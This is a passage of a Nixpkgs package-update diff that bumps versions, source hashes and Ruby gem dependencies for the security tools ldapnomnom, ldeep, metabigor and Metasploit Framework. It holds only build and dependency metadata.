"sha256-e8iB66fXc8lKwFEZlkk4qbsgExKUrf5WpEVCOiHiZUg="; }; - vendorHash = "sha256-i4k7eworPUvLUustr5U53qizHqUVw8yqGjdPQT6UIf4="; + vendorHash = "sha256-8DWjuweGCx2yxocm1GvcP+O3QYWYUdOFKmu6neQfWI4="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/security/ldapnomnom/default.nix b/pkgs/tools/security/ldapnomnom/default.nix index 59daa142856bb..03503c26c8031 100644 --- a/pkgs/tools/security/ldapnomnom/default.nix +++ b/pkgs/tools/security/ldapnomnom/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "ldapnomnom"; - version = "1.2.0"; + version = "1.3.0"; src = fetchFromGitHub { owner = "lkarlslund"; repo = "ldapnomnom"; rev = "refs/tags/v${version}"; - hash = "sha256-3s2mLNqnJ+wZ17gy8Yr2Ze0S62A1bmE91E2ciLNO14E="; + hash = "sha256-enFTv8RqZpyS6LEqGIi55VMhArJy7Nhv0YhuWAOWyN0="; }; - vendorHash = "sha256-3ucnLD+qhBSWY2wLtBcsOcuEf1woqHP17qQg7LlERA8="; + vendorHash = "sha256-Iry9GoKOiXf83YudpmgHQRaP8GV4zokpX2mRAXoxSDQ="; ldflags = [ "-w" diff --git a/pkgs/tools/security/ldeep/default.nix b/pkgs/tools/security/ldeep/default.nix index 623acf50f3b8c..ddbff23572717 100644 --- a/pkgs/tools/security/ldeep/default.nix +++ b/pkgs/tools/security/ldeep/default.nix @@ -5,25 +5,34 @@ python3.pkgs.buildPythonApplication rec { pname = "ldeep"; - version = "1.0.51"; - format = "setuptools"; + version = "1.0.53"; + pyproject = true; src = fetchFromGitHub { owner = "franc-pentest"; repo = "ldeep"; rev = "refs/tags/${version}"; - hash = "sha256-UbZotbq97ehVj8dF0vXM2Z61IG1H+21xk14DXKmWirA="; + hash = "sha256-67jVpzvdjEcjFmTRE2YjPr4AO1iN+PakwoKcjvimt8g="; }; + pythonRelaxDeps = [ + "cryptography" + ]; + nativeBuildInputs = with python3.pkgs; [ cython + pythonRelaxDepsHook + setuptools ]; propagatedBuildInputs = with python3.pkgs; [ commandparse cryptography dnspython + gssapi ldap3 + oscrypto + pycryptodome pycryptodomex six termcolor diff --git a/pkgs/tools/security/metabigor/default.nix b/pkgs/tools/security/metabigor/default.nix index 84e4d39d6a2c8..2949fb6db5414 100644 --- a/pkgs/tools/security/metabigor/default.nix +++ b/pkgs/tools/security/metabigor/default.nix @@ -5,16 +5,21 @@ buildGoModule rec { pname = "metabigor"; - version = "1.12.1"; + version = "2.0.0"; src = fetchFromGitHub { owner = "j3ssie"; - repo = pname; - rev = "v${version}"; - sha256 = "sha256-T1P+jAAsKObKRaoxH8c/DMEfXtmSrvnDd5Y3ocKcCSc="; + repo = "metabigor"; + rev = "refs/tags/v${version}"; + hash = "sha256-JFt9PC6VHWTYuaIWh2t2BiGFm1tGwZDdhhdp2xtmXSI="; }; - vendorHash = "sha256-V+72l2TvhEWgDg7kvn5OOjYcyEgWGLgTGnt58Bu+AEQ="; + vendorHash = "sha256-PGUOTEFcOL1pG+itTp9ce1qW+1V6hts8jKpA0E8orDk="; + + ldflags = [ + "-w" + "-s" + ]; # Disabled for now as there are some failures ("undefined:") doCheck = false; @@ -22,7 +27,9 @@ buildGoModule rec { meta = with lib; { description = "Tool to perform OSINT tasks"; homepage = "https://github.com/j3ssie/metabigor"; + changelog = "https://github.com/j3ssie/metabigor/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ fab ]; + mainProgram = "metabigor"; }; } diff --git a/pkgs/tools/security/metasploit/Gemfile b/pkgs/tools/security/metasploit/Gemfile index 7475d019a7be0..20860f2e5d79e 100644 --- a/pkgs/tools/security/metasploit/Gemfile +++ b/pkgs/tools/security/metasploit/Gemfile @@ -1,4 +1,4 @@ # frozen_string_literal: true source "https://rubygems.org" -gem "metasploit-framework", git: "https://github.com/rapid7/metasploit-framework", ref: "refs/tags/6.3.54" +gem "metasploit-framework", git: "https://github.com/rapid7/metasploit-framework", ref: "refs/tags/6.3.58" diff --git a/pkgs/tools/security/metasploit/Gemfile.lock b/pkgs/tools/security/metasploit/Gemfile.lock index d25c247fad96d..662512b54dca1 100644 --- a/pkgs/tools/security/metasploit/Gemfile.lock +++ b/pkgs/tools/security/metasploit/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: https://github.com/rapid7/metasploit-framework - revision: 038a5b20f97601ac1f73edcc4642f1add35ef08f - ref: refs/tags/6.3.54 + revision: 08ebefe2368f73ceeac2c5f9c20a49a82d6a969e + ref: refs/tags/6.3.58 specs: - metasploit-framework (6.3.54) + metasploit-framework (6.3.58) actionpack (~> 7.0.0) activerecord (~> 7.0.0) activesupport (~> 7.0.0) @@ -35,7 +35,7 @@ GIT metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.165) + metasploit-payloads (= 2.0.166) metasploit_data_models metasploit_payloads-mettle (= 1.0.26) mqtt @@ -106,25 +106,25 @@ GEM remote: https://rubygems.org/ specs: Ascii85 (1.1.0) - actionpack (7.0.8) - actionview (= 7.0.8) - activesupport (= 7.0.8) + actionpack (7.0.8.1) + actionview (= 7.0.8.1) + activesupport (= 7.0.8.1) rack (~> 2.0, >= 2.2.4) rack-test (>= 0.6.3) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.2.0) - actionview (7.0.8) - activesupport (= 7.0.8) + actionview (7.0.8.1) + activesupport (= 7.0.8.1) builder (~> 3.1) erubi (~> 1.4) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.1, >= 1.2.0) - activemodel (7.0.8) - activesupport (= 7.0.8) - activerecord (7.0.8) - activemodel (= 7.0.8) - activesupport (= 7.0.8) - activesupport (7.0.8) + activemodel (7.0.8.1) + activesupport (= 7.0.8.1) + activerecord (7.0.8.1) + activemodel (= 7.0.8.1) + activesupport (= 7.0.8.1) + activesupport (7.0.8.1) concurrent-ruby (~> 1.0, >= 1.0.2) i18n (>= 1.6, < 2) minitest (>= 5.1) @@ -135,50 +135,51 @@ GEM arel-helpers (2.14.0) activerecord (>= 3.1.0, < 8) aws-eventstream (1.3.0) - aws-partitions (1.872.0) - aws-sdk-core (3.190.1) + aws-partitions (1.895.0) + aws-sdk-core (3.191.3) aws-eventstream (~> 1, >= 1.3.0) aws-partitions (~> 1, >= 1.651.0) aws-sigv4 (~> 1.8) jmespath (~> 1, >= 1.6.1) - aws-sdk-ec2 (1.431.0) - aws-sdk-core (~> 3, >= 3.188.0) + aws-sdk-ec2 (1.440.0) + aws-sdk-core (~> 3, >= 3.191.0) aws-sigv4 (~> 1.1) - aws-sdk-ec2instanceconnect (1.36.0) - aws-sdk-core (~> 3, >= 3.188.0) + aws-sdk-ec2instanceconnect (1.37.0) + aws-sdk-core (~> 3, >= 3.191.0) aws-sigv4 (~> 1.1) - aws-sdk-iam (1.92.0) - aws-sdk-core (~> 3, >= 3.188.0) + aws-sdk-iam (1.94.0) + aws-sdk-core (~> 3, >= 3.191.0) aws-sigv4 (~> 1.1) - aws-sdk-kms (1.75.0) - aws-sdk-core (~> 3, >= 3.188.0) + aws-sdk-kms (1.77.0) + aws-sdk-core (~> 3, >= 3.191.0) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.141.0) - aws-sdk-core (~> 3, >= 3.189.0) + aws-sdk-s3 (1.143.0) + aws-sdk-core (~> 3, >= 3.191.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.8) - aws-sdk-ssm (1.162.0) - aws-sdk-core (~> 3, >= 3.188.0) + aws-sdk-ssm (1.165.0) + aws-sdk-core (~> 3, >= 3.191.0) aws-sigv4 (~> 1.1) aws-sigv4 (1.8.0) aws-eventstream (~> 1, >= 1.0.2) base64 (0.2.0) bcrypt (3.1.20) bcrypt_pbkdf (1.1.0) - bindata (2.4.15) - bootsnap (1.17.0) + bigdecimal (3.1.6) + bindata (2.5.0) + bootsnap (1.18.3) msgpack (~> 1.2) - bson (4.15.0) + bson (5.0.0) builder (3.2.4) chunky_png (1.4.0) - concurrent-ruby (1.2.2) - cookiejar (0.3.3) + concurrent-ruby (1.2.3) + cookiejar (0.3.4) crass (1.0.6) daemons (1.4.1) date (3.3.4) dnsruby (1.70.0) simpleidn (~> 0.2.1) - domain_name (0.6.20231109) + domain_name (0.6.20240107) ed25519 (1.3.0) em-http-request (1.1.7) addressable (>= 2.3.4) @@ -190,13 +191,12 @@ GEM eventmachine (>= 1.0.0.beta.4) erubi (1.12.0) eventmachine (1.2.7) - faker (3.2.2) + faker (3.2.3) i18n (>= 1.8.11, < 2) - faraday (2.8.1) - base64 - faraday-net_http (>= 2.0, < 3.1) - ruby2_keywords (>= 0.0.4) - faraday-net_http (3.0.2) + faraday (2.9.0) + faraday-net_http (>= 2.0, < 3.2) + faraday-net_http (3.1.0) + net-http faraday-retry (2.2.0) faraday (~> 2.0) faye-websocket (0.11.3) @@ -220,7 +220,7 @@ GEM httpclient (2.8.3) i18n (1.14.1) concurrent-ruby (~> 1.0) - io-console (0.7.1) + io-console (0.7.2) irb (1.7.4) reline (>= 0.3.6) jmespath (1.6.2) @@ -240,7 +240,7 @@ GEM activesupport (~> 7.0) railties (~> 7.0) zeitwerk - metasploit-credential (6.0.6) + metasploit-credential (6.0.8) metasploit-concern metasploit-model metasploit_data_models (>= 5.0.0) @@ -254,7 +254,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.165) + metasploit-payloads (2.0.166) metasploit_data_models (6.0.3) activerecord (~> 7.0) activesupport (~> 7.0) @@ -268,20 +268,22 @@ GEM metasploit_payloads-mettle (1.0.26) method_source (1.0.0) mini_portile2 (2.8.5) - minitest (5.20.0) + minitest (5.22.2) mqtt (0.6.0) msgpack (1.6.1) multi_json (1.15.0) mustermann (3.0.0) ruby2_keywords (~> 0.0.1) nessus_rest (0.1.6) - net-imap (0.4.8) + net-http (0.4.1) + uri + net-imap (0.4.10) date net-protocol - net-ldap (0.18.0) + net-ldap (0.19.0) net-protocol (0.2.2) timeout - net-smtp (0.4.0) + net-smtp (0.4.0.1) net-protocol net-ssh (7.2.1) network_interface (0.0.4) @@ -290,7 +292,8 @@ GEM nokogiri (1.14.5) mini_portile2 (~> 2.8.0) racc (~> 1.4) - nori (2.6.0) + nori (2.7.0) + bigdecimal octokit (4.25.1) faraday (>= 1, < 3) sawyer (~> 0.9) @@ -301,19 +304,20 @@ GEM pcaprub (~> 0.13.1) patch_finder (1.0.2) pcaprub (0.13.1) - pdf-reader (2.11.0) + pdf-reader (2.12.0) Ascii85 (~> 1.0) afm (~> 0.2.1) hashery (~> 2.0) ruby-rc4 ttfunk - pg (1.5.4) + pg (1.5.6) public_suffix (5.0.4) - puma (6.4.0) + puma (6.4.2) nio4r (~> 2.0) racc (1.7.3) - rack (2.2.8) - rack-protection (3.1.0) + rack (2.2.8.1) + rack-protection (3.2.0) + base64 (>= 0.1.0) rack (~> 2.2, >= 2.2.4) rack-test (2.1.0) rack (>= 1.3) @@ -324,21 +328,21 @@ GEM rails-html-sanitizer (1.6.0) loofah (~> 2.21) nokogiri (~> 1.14) - railties (7.0.8) - actionpack (= 7.0.8) - activesupport (= 7.0.8) + railties (7.0.8.1) + actionpack (= 7.0.8.1) + activesupport (= 7.0.8.1) method_source rake (>= 12.2) thor (~> 1.0) zeitwerk (~> 2.5) rake (13.1.0) - rasn1 (0.12.1) + rasn1 (0.13.0) strptime (~> 0.2.5) rb-readline (0.5.5) recog (3.1.4) nokogiri redcarpet (3.6.0) - reline (0.4.1) + reline (0.4.3) io-console (~> 0.5) rex-arch (0.1.15) rex-text @@ -378,23 +382,23 @@ GEM metasm rex-core rex-text - rex-socket (0.1.55) + rex-socket (0.1.56) rex-core rex-sslscan (0.1.10) rex-core rex-socket rex-text rex-struct2 (0.1.4) - rex-text (0.2.55) + rex-text (0.2.56) rex-zip (0.1.5) rex-text rexml (3.2.6) rkelly-remix (0.0.7) - ruby-macho (4.0.0) + ruby-macho (4.0.1) ruby-mysql (4.1.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.3.1) + ruby_smb (3.3.2) bindata openssl-ccm openssl-cmac @@ -407,12 +411,12 @@ GEM faraday (>= 0.17.3, < 3) simpleidn (0.2.1) unf (~> 0.1.4) - sinatra (3.1.0) + sinatra (3.2.0) mustermann (~> 3.0) rack (~> 2.2, >= 2.2.4) - rack-protection (= 3.1.0) + rack-protection (= 3.2.0) tilt (~> 2.0) - sqlite3 (1.6.9) + sqlite3 (1.7.2) mini_portile2 (~> 2.8.0) sshkey (3.0.0) strptime (0.2.5) @@ -421,18 +425,19 @@ GEM daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) rack (>= 1, < 3) - thor (1.3.0) + thor (1.3.1) tilt (2.3.0) timeout (0.4.1) ttfunk (1.7.0) tzinfo (2.0.6) concurrent-ruby (~> 1.0) - tzinfo-data (1.2023.3) + tzinfo-data (1.2024.1) tzinfo (>= 1.0.0) unf (0.1.4) unf_ext unf_ext (0.0.9.1) unix-crypt (1.3.1) + uri (0.13.0) warden (1.2.9) rack (>= 2.0.9) webrick (1.8.1) @@ -455,7 +460,7 @@ GEM activesupport (>= 4.2, < 8.0) xmlrpc (0.3.3) webrick - zeitwerk (2.6.12) + zeitwerk (2.6.13) PLATFORMS ruby @@ -464,4 +469,4 @@ DEPENDENCIES metasploit-framework! BUNDLED WITH - 2.5.5 + 2.4.13 diff --git a/pkgs/tools/security/metasploit/default.nix b/pkgs/tools/security/metasploit/default.nix index d86b14b46d25b..a0d8a05c08213 100644 --- a/pkgs/tools/security/metasploit/default.nix +++ b/pkgs/tools/security/metasploit/default.nix @@ -15,13 +15,13 @@ let }; in stdenv.mkDerivation rec { pname = "metasploit-framework"; - version = "6.3.54"; + version = "6.3.58"; src = fetchFromGitHub { owner = "rapid7"; repo = "metasploit-framework"; rev = "refs/tags/${version}"; - hash = "sha256-LGAvqtmtrEuhC61LohEgFBSSLR52orHVSnJqcl60yjs="; + hash = "sha256-NUm+6vWmSpGpy4KGXQ/pQDqeU3ORhQrQwwicFCMyjhg="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/security/metasploit/gemset.nix b/pkgs/tools/security/metasploit/gemset.nix index c614fa81f15c4..5cfb435137d2b 100644 --- a/pkgs/tools/security/metasploit/gemset.nix +++ b/pkgs/tools/security/metasploit/gemset.nix @@ -4,50 +4,50 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1l319p0gipfgq8bp8dvbv97qqb72rad9zcqn5snhgv20cmpqr69b"; + sha256 = "0jh83rqd6glys1b2wsihzsln8yk6zdwgiyn9xncyiav9rcwjpkax"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; actionview = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0xnpdwj1d8m6c2d90jp9cs50ggiz0jj02ls2h9lg68k4k8mnjbd2"; + sha256 = "1ygpg75f3ffdcbxvf7s14xw3hcjin1nnx1nk3mg9mj2xc1nb60aa"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; activemodel = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "004w8zaz2g3y6lnrsvlcmljll0m3ndqpgwf0wfscgq6iysibiglm"; + sha256 = "0grdpvglh0cj96qhlxjj9bcfqkh13c1pfpcwc9ld3aw0yzvsw5a1"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; activerecord = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "04wavps80q3pvhvfbmi4gs102y1p6mxbg8xylzvib35b6m92adpj"; + sha256 = "0rlky1cr5kcdl0jad3nk5jpim6vjzbgkfhxnk7y492b3j2nznpcf"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; activesupport = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "188kbwkn1lbhz40ala8ykp20jzqphgc68g3d8flin8cqa2xid0s5"; + sha256 = "0ff3x7q400flzhml131ix8zfwmh13h70rs6yzbzf513g781gbbxh"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; addressable = { groups = ["default"]; @@ -104,80 +104,80 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1ddbcz8p3abbw8d8pn796z1ry1mbapl6ayhh37ziwal6bd047kvm"; + sha256 = "018hh97dcj3nd80jb1cf63fxk6h8gc4rrq118bv9npnw5ahd5pv8"; type = "gem"; }; - version = "1.872.0"; + version = "1.895.0"; }; aws-sdk-core = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1ansagfl5irx1y6b9xf4xpi9j6q6k5pbd2aw80hn0p4m3ycafamh"; + sha256 = "088nq8yz9n4p7pnhjwp9nbxlkj7jwchpkzvnl4nybfb1dkvk4dns"; type = "gem"; }; - version = "3.190.1"; + version = "3.191.3"; }; aws-sdk-ec2 = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "04lg4g6aivkf6zvvcc1clw0dqdlpkn3c87kiz5mfc7m2jr0m0ljx"; + sha256 = "1kcsfkpfqx96ax1slvl4lq61cdasaki6hddi22ja1zyc1ak4x9dg"; type = "gem"; }; - version = "1.431.0"; + version = "1.440.0"; }; aws-sdk-ec2instanceconnect = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1iifrmdls17a3hniq43iyj9q4mr8iy0danqmy65xbh05bnqq2ca9"; + sha256 = "0hd4xdhf6b2bvfb4h9fc0c96vwz30cmdhra3r7zpdllhz7d1hh5q"; type = "gem"; }; - version = "1.36.0"; + version = "1.37.0"; }; aws-sdk-iam = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0whclpcvbdy7gzvqpk8734nxjfxs3362k197xl1wnrpixklkacyz"; + sha256 = "1ymb6lnkmhi98lwk402msanr7i012k82pvspd2rd66aq0vdql9rd"; type = "gem"; }; - version = "1.92.0"; + version = "1.94.0"; }; aws-sdk-kms = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1qzxqfgrhnl5rdc39a1gl2pgrdxgnsj12zycpxnsx8lg6arfmnr1"; + sha256 = "1gbxms3daszl4mk89swjrpq3fqgm9lg0wl65yjfp0nfz8jm4jyqf"; type = "gem"; }; - version = "1.75.0"; + version = "1.77.0"; }; aws-sdk-s3 = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0bnhpmi0iiaj88rqc5lhhnp2gyrk4fs8xz51lj36wwzng94qinya"; + sha256 = "1safbxycz517m2v981z8kbmdiqx9jypl093ia0mcrskkgh4fyb3s"; type = "gem"; }; - version = "1.141.0"; + version = "1.143.0"; }; aws-sdk-ssm = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0xz10344dwm4pj8qnl19bnh99arxp7cd9mn2alslrnw7y2gipzz1"; + sha256 = "1wbizrm7spkwx6rnwmwbxyg16mpkn3hllxz8aj7v2dlplzkwksb6"; type = "gem"; }; - version = "1.162.0"; + version = "1.165.0"; }; aws-sigv4 = { groups = ["default"]; @@ -219,35 +219,45 @@ }; version = "1.1.0"; }; + bigdecimal = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "00db5v09k1z3539g1zrk7vkjrln9967k08adh6qx33ng97a2gg5w"; + type = "gem"; + }; + version = "3.1.6"; + }; bindata = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "04y4zgh4bbcb8wmkxwfqg4saky1d1f3xw8z6yk543q13h8ky8rz5"; + sha256 = "08r67nglsqnxrbn803szf5bdnqhchhq8kf2by94f37fcl65wpp19"; type = "gem"; }; - version = "2.4.15"; + version = "2.5.0"; }; bootsnap = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0iqkzby0fdgi786m873nm0ckmc847wy9a4ydinb29m7hd3fs83kb"; + sha256 = "1srlq3gqirzdkhv12ljpnp5cb0f8jfrl3n8xs9iivyz2c7khvdyp"; type = "gem"; }; - version = "1.17.0"; + version = "1.18.3"; }; bson = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "19vgs9rzzyvd7jfrzynjnc6518q0ffpfciyicfywbp77zl8nc9hk"; + sha256 = "1wsim17cdr4ps7ca6q5gkidkasfw4g4qr5zn1aclnbn4xpnhpx4d"; type = "gem"; }; - version = "4.15.0"; + version = "5.0.0"; }; builder = { groups = ["default"]; @@ -274,20 +284,20 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0krcwb6mn0iklajwngwsg850nk8k9b35dhmc2qkbdqvmifdi2y9q"; + sha256 = "1qh1b14jwbbj242klkyz5fc7npd4j0mvndz62gajhvl1l3wd7zc2"; type = "gem"; }; - version = "1.2.2"; + version = "1.2.3"; }; cookiejar = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0q0kmbks9l3hl0wdq744hzy97ssq9dvlzywyqv9k9y1p3qc9va2a"; + sha256 = "1px0zlnlkwwp9prdkm2lamgy412y009646n2cgsa1xxsqk7nmc8i"; type = "gem"; }; - version = "0.3.3"; + version = "0.3.4"; }; crass = { groups = ["default"]; @@ -334,10 +344,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1gpciaifmxql8h01ci12qq08dnqrdlzkkz6fmia9v9yc3r9a29si"; + sha256 = "0cyr2xm576gqhqicsyqnhanni47408w2pgvrfi8pd13h2li3nsaz"; type = "gem"; }; - version = "0.6.20231109"; + version = "0.6.20240107"; }; ed25519 = { groups = ["default"]; @@ -394,30 +404,30 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1ic47k6f0q6xl9g2yxa3x60gfbwx98wnx75qnbhhgk0zc7a5ijhy"; + sha256 = "1rrwh78515yqljh09wjxfsb64siqd8qgp4hv57syajhza5x8vbzz"; type = "gem"; }; - version = "3.2.2"; + version = "3.2.3"; }; faraday = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "19p45ryrvxff6ggdj4fq76dk7wlkfgrh474c3kwzdsjx3xpdq8x8"; + sha256 = "1qqb1rmk0f9m82iijjlqadh5yby1bhnr6svjk9vxdvh6f181988s"; type = "gem"; }; - version = "2.8.1"; + version = "2.9.0"; }; faraday-net_http = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "13byv3mp1gsjyv8k0ih4612y6vw5kqva6i03wcg4w2fqpsd950k8"; + sha256 = "17w51yk4rrm9rpnbc3x509s619kba0jga3qrj4b17l30950vw9qn"; type = "gem"; }; - version = "3.0.2"; + version = "3.1.0"; }; faraday-retry = { groups = ["default"]; @@ -554,10 +564,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1fmwbcapyhla84xhwj3gfws6rb4lw3928ybz6g3lr372dgxakzx5"; + sha256 = "08d2lx42pa8jjav0lcjbzfzmw61b8imxr9041pva8xzqabrczp7h"; type = "gem"; }; - version = "0.7.1"; + version = "0.7.2"; }; irb = { groups = ["default"]; @@ -654,22 +664,22 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1nmh37pss5bsxjasl52pi9jxnzv75wacpnhrif5cprg6jxwn8dzl"; + sha256 = "0v1bylci121psqg669lgxpp6d965m4xxmg1djvmy0srcys8dvp5n"; type = "gem"; }; - version = "6.0.6"; + version = "6.0.8"; }; metasploit-framework = { groups = ["default"]; platforms = []; source = { fetchSubmodules = false; - rev = "038a5b20f97601ac1f73edcc4642f1add35ef08f"; - sha256 = "0fyanig74skj9bav38kn3qnr450l408s4jxd1fhlpb5dv6m2yq1c"; + rev = "08ebefe2368f73ceeac2c5f9c20a49a82d6a969e"; + sha256 = "064f68ii9708qg80m1cifd9rwfj0x47mv1l2rflr2jm6ypmbwj9m"; type = "git"; url = "https://github.com/rapid7/metasploit-framework"; }; - version = "6.3.54"; + version = "6.3.58"; }; metasploit-model = { groups = ["default"]; @@ -686,10 +696,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0v9vr3iklxm53vfkyiqja8a942n8r0a49w9rmvk9ql4h3r5xcgpw"; + sha256 = "0f8grdgqn9y8wc61k111zlap5vqjika56k4vabkwglljs5bv44nk"; type = "gem"; }; - version = "2.0.165"; + version = "2.0.166"; }; metasploit_data_models = { groups = ["default"]; @@ -736,10 +746,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0bkmfi9mb49m0fkdhl2g38i3xxa02d411gg0m8x0gvbwfmmg5ym3"; + sha256 = "0667vf0zglacry87nkcl3ns8421aydvz71vfa3g3yjhiq8zh19f5"; type = "gem"; }; - version = "5.20.0"; + version = "5.22.2"; }; mqtt = { groups = ["default"]; @@ -791,25 +801,35 @@ }; version = "0.1.6"; }; + net-http = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "10n2n9aq00ih8v881af88l1zyrqgs5cl3njdw8argjwbl5ggqvm9"; + type = "gem"; + }; + version = "0.4.1"; + }; net-imap = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1wnmxcrpv7zaf8wli5nvfnz5ybmw7f3r06s05p3d96idc61193mv"; + sha256 = "0zn7j2w0hc622ig0rslk4iy6yp3937dy9ibhyr1mwwx39n7paxaj"; type = "gem"; }; - version = "0.4.8"; + version = "0.4.10"; }; net-ldap = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0xqcffn3c1564c4fizp10dzw2v5g2pabdzrcn25hq05bqhsckbar"; + sha256 = "0g9gz39bs2iy4ky4fhjphimqd9m9wdsaz50anxgwg3yjrff3famy"; type = "gem"; }; - version = "0.18.0"; + version = "0.19.0"; }; net-protocol = { groups = ["default"]; @@ -826,10 +846,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1rx3758w0bmbr21s2nsc6llflsrnp50fwdnly3ixra4v53gbhzid"; + sha256 = "0csspzqrg7s2v2wdp6vqqs1rra6w5ilpgnps5h52ig6rp7x2i389"; type = "gem"; }; - version = "0.4.0"; + version = "0.4.0.1"; }; net-ssh = { groups = ["default"]; @@ -887,10 +907,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "066wc774a2zp4vrq3k7k8p0fhv30ymqmxma1jj7yg5735zls8agn"; + sha256 = "12wfv36jzc0978ij5c56nnfh5k8ax574njawigs98ysmp1x5s2ql"; type = "gem"; }; - version = "2.6.0"; + version = "2.7.0"; }; octokit = { groups = ["default"]; @@ -967,20 +987,20 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "09sx25jpnip2sp6wh5sn5ad7za78rfi95qp5iiczfh43z4jqa8q3"; + sha256 = "0n0pp7blk3np3fqsb54l34fsamrww80cp3dhlhskfayg7542mrv1"; type = "gem"; }; - version = "2.11.0"; + version = "2.12.0"; }; pg = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0pfj771p5a29yyyw58qacks464sl86d5m3jxjl5rlqqw2m3v5xq4"; + sha256 = "071b55bhsz7mivlnp2kv0a11msnl7xg5awvk8mlflpl270javhsb"; type = "gem"; }; - version = "1.5.4"; + version = "1.5.6"; }; public_suffix = { groups = ["default"]; @@ -997,10 +1017,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1y8jcw80zcxvdq0id329lzmp5pzx7hpac227d7sgjkblc89s3pfm"; + sha256 = "0i2vaww6qcazj0ywva1plmjnj6rk23b01szswc5jhcq7s2cikd1y"; type = "gem"; }; - version = "6.4.0"; + version = "6.4.2"; }; racc = { groups = ["default"]; @@ -1017,20 +1037,20 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "15rdwbyk71c9nxvd527bvb8jxkcys8r3dj3vqra5b3sa63qs30vv"; + sha256 = "10mpk0hl6hnv324fp1pfimi2nw9acj0z4gyhrph36qg84pk1s4m7"; type = "gem"; }; - version = "2.2.8"; + version = "2.2.8.1"; }; rack-protection = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0xsz78hccgza144n37bfisdkzpr2c8m0xl6rnlzgxdbsm1zrkg7r"; + sha256 = "1zzvivmdb4dkscc58i3gmcyrnypynsjwp6xgc4ylarlhqmzvlx1w"; type = "gem"; }; - version = "3.1.0"; + version = "3.2.0"; }; rack-test = { groups = ["default"]; @@ -1067,10 +1087,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0sfc16zrcn4jgf5xczb08n6prhmqqgg9f0b4mn73zlzg6cwmqchj"; + sha256 = "08ga56kz6a37dnlmi7y45r19fcc7jzb62mrc3ifavbzggmhy7r62"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; rake = { groups = ["default"]; @@ -1087,10 +1107,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "05n3ki7jlkll0rf6zrqi41a9fc6zmw87f94ai21jgmvsswjfx15i"; + sha256 = "07dvrv2s9hs2vcbr6lai8vj4vk2i3m4jf468hyvkp9k8xzjvc0fi"; type = "gem"; }; - version = "0.12.1"; + version = "0.13.0"; }; rb-readline = { groups = ["default"]; @@ -1127,10 +1147,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1hi6zfj6zqzxcbamhjm9w9cswv62f76l8gsdfcnmhpw35cyxphh8"; + 